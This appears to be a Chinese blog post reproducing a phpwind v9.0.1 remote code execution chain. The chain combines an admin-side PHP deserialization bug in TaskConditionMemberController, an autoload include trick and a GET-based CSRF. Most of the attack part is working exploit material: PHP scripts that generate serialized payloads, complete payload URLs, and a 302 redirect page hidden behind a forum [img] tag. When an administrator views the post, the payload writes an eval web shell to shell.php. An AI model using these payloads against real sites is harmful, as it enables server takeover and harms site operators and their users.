phpwind复现

Jun 12, 2018 09:54 · 509 words · 3 minute read 渗透

.

学到的点

  • 回调函数 call_user_func_array()
  • spl_autoload 、 spl_autoload_register 、 __autoload 三个函数
  • 利用数组+命名空间加载相同名字的类
  • 利用StdClass代替对象数组
  • 将CSRF和反序列化结合,从而使只能在后台触发的序列化漏洞,变为前台getshell。降低漏洞利用条件。
  • CSRF利用技巧

真的是太厉害了。

几个函数的作用

call_user_func_array()

mixed call_user_func_array ( callable $callback , array $param_arr )

把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

callback
被调用的回调函数。

param_arr
要被传入回调函数的数组,这个数组得是索引数组

返回值
返回回调函数的结果。如果出错的话就返回FALSE

spl_autoload,spl_autoload_register,__autoload

spl_autoload : 本函数提供了__autoload()的一个默认实现。如果不使用任何参数调用 spl_autoload_register() 函数,则以后在进行 __autoload() 调用时会自动使用此函数

spl_autoload_register — 注册给定的函数作为 __autoload 的实现

__autoload : 尝试加载未定义的类

具体流程

复制粘贴以下

找序列化的地方

src/applications/task/admin/TaskConditionMemberController.php
src/applications/task/admin/TaskRewardController.php
src/applications/task/admin/TaskConditionBbsController.php

这三处是存在序列化且参数可控的地方。但是三处都处于后台的Task模块下,只有进入后台才可以利用。

随便打开一个, src/applications/task/admin/TaskConditionMemberController.php

class TaskConditionMemberController extends AdminBaseController{
    /* (non-PHPdoc)
     * @see AdminBaseController::beforeAction()
     */
    public function beforeAction($handlerAdapter) {
        parent::beforeAction($handlerAdapter);
        $var = unserialize($this->getInput('var'));
        if (is_array($var)) {
            $this->setOutput($var, 'condition');
        }
    }

beforeAction将会在实际执行Action之前执行。这里$var = unserialize($this->getInput(‘var’));,从Input中获取var参数的值,进行反序列化。这个Input可以来自get/post/cookie。我们只要在phpwind里找到反序列化可以利用的点,就能在这里触发反序列化漏洞。

找魔术方法

全局搜一下关键词__destruct,很快找到了PwDelayRun类:

class PwDelayRun {
    private static $instance = null;
    private $_callback = array();
    private $_args = array();
    private function __construct() {
    }
    public function __destruct() {
        foreach (this->_callback as key => $value) {
            call_user_func_array(value, this->_args[$key]);
        }
    }
    ...
}

可见__destruct方法,其中遍历了_callback数组,用call_user_func_array执行任意函数。这里如果_callback可控,那么就可以直接执行assert+任意代码了。原本是一个十分简单的漏洞,但我们在TaskConditionMemberController::beforeAction::unserialize里下断点,执行var_dump(get_declared_classes());exit;,查看当前已经定义的类:

Array
(
    [0] => StdClass
    [1] => Exception
    ...
    [330] => WindMysqlPdoAdapter
    [331] => WindResultSet
    [332] => AdminUserBo
    [333] => AdminLogService
    [334] => WindFile
)

其中并没有PwDelayRun类。看来在反序列化的时候,并没有加载这个类,所以我即使构造了利用方法,也『造』不出PwDelayRun对象。那怎么办?

利用spl_autoload包含任意php文件

大致思路

在进行反序列化的时候,如果发现不存在的类,就会传入注册好的spl_autoload函数中,然后利用autoLoad函数定义中的include来包含任意文件。

在反序列化的过程中发现了不存在的类『PwDelayRun』,就会直接传入注册好的spl_autoload函数中。我在 /wind/Wind.php 中,可以找到spl_autoload_register函数的调用:

public static function init() {
    self::$isDebug = WIND_DEBUG;
    function_exists('date_default_timezone_set') && date_default_timezone_set('Etc/GMT+0');
    self::register(WIND_PATH, 'WIND', true);
    if (!self::$_isAutoLoad) return;
    if (function_exists('spl_autoload_register'))
        spl_autoload_register('Wind::autoLoad');
    else
        self::$_isAutoLoad = false;
    self::_loadBaseLib();
}

将Wind::autoload注册为自动加载函数。跟进Wind::autoLoad

public static function autoLoad(className, path = '') {
    if ($path)
        include path . '.' . self::_extensions;
    elseif (isset(self::_classes[className])) {
        include self::_classes[className] . '.' . self::$_extensions;
    } else
        include className . '.' . self::_extensions;
}

autoLoad第二个参数是没有值的,所以这里,最后会走到这一步:include $className . ‘.’ . self::$_extensions;。

看到include我就有点激动,但静下心想一下发现还是有问题的。因为这里的className是没有路径的,而PwDelayRun类在src/library/utility/PwDelayRun.php文件中,我需要传入路径才可以包含到这个类。虽然类名不能包含特殊字符,但其实类名中是可以包含\的:

这涉及到php中的命名空间的知识。学过新型框架的同学肯定对命名空间十分熟悉,所以我没必要多介绍。命名空间中可以包含\,而在windows下,\也可以作为路径的分隔符。(由此可见,这个漏洞仅限于Windows服务器)

所以这里,我可以将类名设置为src\library\utility\PwDelayRun(其实就是src\library\utility命名空间下的PwDelayRun类),最后在Wind::autoload里进行包含 include src\library\utility\PwDelayRun.php

利用数组+命名空间加载相同名字的类

还有一个问题,我们这里将类名设置为src\library\utility\PwDelayRun,而:整个phpwind全局是没有使用命名空间的,也就是默认命名空间为\,但现在的PwDelayRun类所在的命名空间为src\library\utility。这样,即使我包含了src\library\utility\PwDelayRun.php文件,反序列化的时候是实例化的src\library\utility\PwDelayRun类。但phpwind的命名空间是\,上下文存在的类是\PwDelayRun类,还是无法正常进行(因为找不到src\library\utility\PwDelayRun类)。

我想了一下,其实也好办,只要变通一下。我们只要生成src\library\utility\PwDelayRun类和\PwDelayRun类两个对象,放在一个数组中,在反序列化前者的过程中include目标文件,在反序列化后者的过程中拿到PwDelayRun对象。

我构造了一个POC:

<?php
namespace src\library\utility {
    class PwDelayRun{

    }
}

class PwDelayRun{
    private $_callback;
    private $_args;
    function __construct()
    {
        $this->_callback = [
            'assert'
        ];
        $this->_args = [
            ["phpinfo();exit;"]
        ];
    }
}

header("Content-Type: text/plain");
$obj = [
    new src\library\utility\PwDelayRun(),
    new PwDelayRun()
];
echo urlencode(serialize($obj));

执行上述代码即可拿到POC对象。

PS:php不知道在哪次更新时规定 命名空间和非命名空间的代码一块写时,必须要加namespace,

所以更改的poc如下

<?php

namespace src\library\utility {
    class PwDelayRun{

    }
}
namespace{

	class PwDelayRun{
		private $_callback;
		private $_args;
		function __construct()
		{
        $this->_callback = [
			'assert'
        ];
        $this->_args = [
			["phpinfo();exit;"]
        ];
    }
}

header("Content-Type: text/plain");
$obj = [
	new src\library\utility\PwDelayRun(),
    new PwDelayRun()
];
echo urlencode(serialize($obj));
}


?>

PS:继续粘贴复制

拿序列化的结果去提交结果没反应

利用StdClass代替数组绕过限制

我们回看TaskConditionMember类,看看反序列化的那个beforeAction函数:

public function beforeAction($handlerAdapter) {
    parent::beforeAction($handlerAdapter);
    var = unserialize(this->getInput('var'));
    if (is_array($var)) {
        this->setOutput(var, 'condition');
    }
}

后面有个判断is_array,是它在捣鬼。如果var是数组的话,就设置到output里。所以,最后该对象并没有销毁。

没有销毁那么实际上就没有调用__destruct函数,所以也无法执行任意代码了。要让is_array返回false,只需序列化一个非数组对象即可。其实在php源码层,对象是用数组来模拟的,我们只需要用一个对象代替数组即可。

php最简单的对象就是StdClass,我将POC改为如下即可:

<?php
namespace src\library\utility {
    class PwDelayRun{

    }
}

class PwDelayRun{
    private $_callback;
    private $_args;
    function __construct()
    {
        $this->_callback = [
            'assert'
        ];
        $this->_args = [
            ["phpinfo();exit;"]
        ];
    }
}

header("Content-Type: text/plain");
$obj = StdClass();
$obj->a = src\library\utility\PwDelayRun();
$obj->b = PwDelayRun()
echo urlencode(serialize($obj));

PS:这段代码也是有问题的。修改后如下

<?php
namespace src\library\utility {
    class PwDelayRun{

    }
}
namespace{
	class PwDelayRun{
		private $_callback;
		private $_args;
		function __construct()
		{
        $this->_callback = [
			'assert'
        ];
        $this->_args = [
            ["phpinfo();exit;"]
        ];
    }
}

header("Content-Type: text/plain");
$obj = new stdClass();
$obj->a =  new src\library\utility\PwDelayRun();
$obj->b = new PwDelayRun();
echo urlencode(serialize($obj));
}
?>

最终的payload

http://192.168.10.134/cms/phpwind_v9.0.1_utf8/admin.php?m=task&c=TaskConditionMember&a=profile&var=O%3A8%3A%22stdClass%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A30%3A%22src%5Clibrary%5Cutility%5CPwDelayRun%22%3A0%3A%7B%7Ds%3A1%3A%22b%22%3BO%3A10%3A%22PwDelayRun%22%3A2%3A%7Bs%3A21%3A%22%00PwDelayRun%00_callback%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22assert%22%3B%7Ds%3A17%3A%22%00PwDelayRun%00_args%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A15%3A%22phpinfo%28%29%3Bexit%3B%22%3B%7D%7D%7D%7D

成功执行phpinfo().

骚操作来了

这个漏洞本是一个利用技巧很妙的漏洞,但最关键的问题是其出现在后台,利用门槛太高。但这个漏洞又有一个特点,那就是其为GET方法,只需要一个URL即可触发。所以,我们可以用类似Discuz这个漏洞的方法: http://192.168.10.111/bug_detail.php?wybug_id=wooyun-2014-064886 ,将URL插入前台帖子的图片中:

发帖如下

[img]http://192.168.10.134/cms/phpwind_v9.0.1_utf8/admin.php?m=task&c=TaskConditionMember&a=profile&var=O%3A8%3A%22stdClass%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A30%3A%22src%5Clibrary%5Cutility%5CPwDelayRun%22%3A0%3A%7B%7Ds%3A1%3A%22b%22%3BO%3A10%3A%22PwDelayRun%22%3A2%3A%7Bs%3A21%3A%22%00PwDelayRun%00_callback%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22assert%22%3B%7Ds%3A17%3A%22%00PwDelayRun%00_args%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A77%3A%22file_put_contents%28%22.%2Fshell.php%22%2C%27%3C%3Fphp+%40eval%28%24_POST%5Ba%5D%29%3B%3F%3E%27%29%3B+phpinfo%28%29%3Bexit%3B%22%3B%7D%7D%7D%7D[/img]

但是phpwind将&转义了,但是可以写一个302跳转页面

302.php

<?php
header("Content-Type: image/gif");
header("Location: http://192.168.10.134/cms/phpwind_v9.0.1_utf8/admin.php?m=task&c=TaskConditionMember&a=profile&var=O%3A8%3A%22stdClass%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A30%3A%22src%5Clibrary%5Cutility%5CPwDelayRun%22%3A0%3A%7B%7Ds%3A1%3A%22b%22%3BO%3A10%3A%22PwDelayRun%22%3A2%3A%7Bs%3A21%3A%22%00PwDelayRun%00_callback%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22assert%22%3B%7Ds%3A17%3A%22%00PwDelayRun%00_args%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A77%3A%22file_put_contents%28%22.%2Fshell.php%22%2C%27%3C%3Fphp+%40eval%28%24_POST%5Ba%5D%29%3B%3F%3E%27%29%3B+phpinfo%28%29%3Bexit%3B%22%3B%7D%7D%7D%7D");

?>

发帖内容

[img]http://vps_ip/302.php[/img]

这时,只要管理员查看了该帖子,就可以getshell了。

getshell的poc

<?php
namespace src\library\utility {
    class PwDelayRun{

    }
}
namespace{
	class PwDelayRun{
		private $_callback;
		private $_args;
		function __construct()
		{
        $this->_callback = [
			'assert'
        ];
        $this->_args = [
            ['file_put_contents("./shell.php",\'<?php @eval($_POST[a]);?>\'); phpinfo();exit;']
        ];
    }
}

header("Content-Type: text/plain");
$obj = new stdClass();
$obj->a =  new src\library\utility\PwDelayRun();
$obj->b = new PwDelayRun();
echo urlencode(serialize($obj));
}
?>

(来源)[https://bugs.leavesongs.com/php/phpwind-get%E5%9E%8Bcsrf%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/]

tweet Share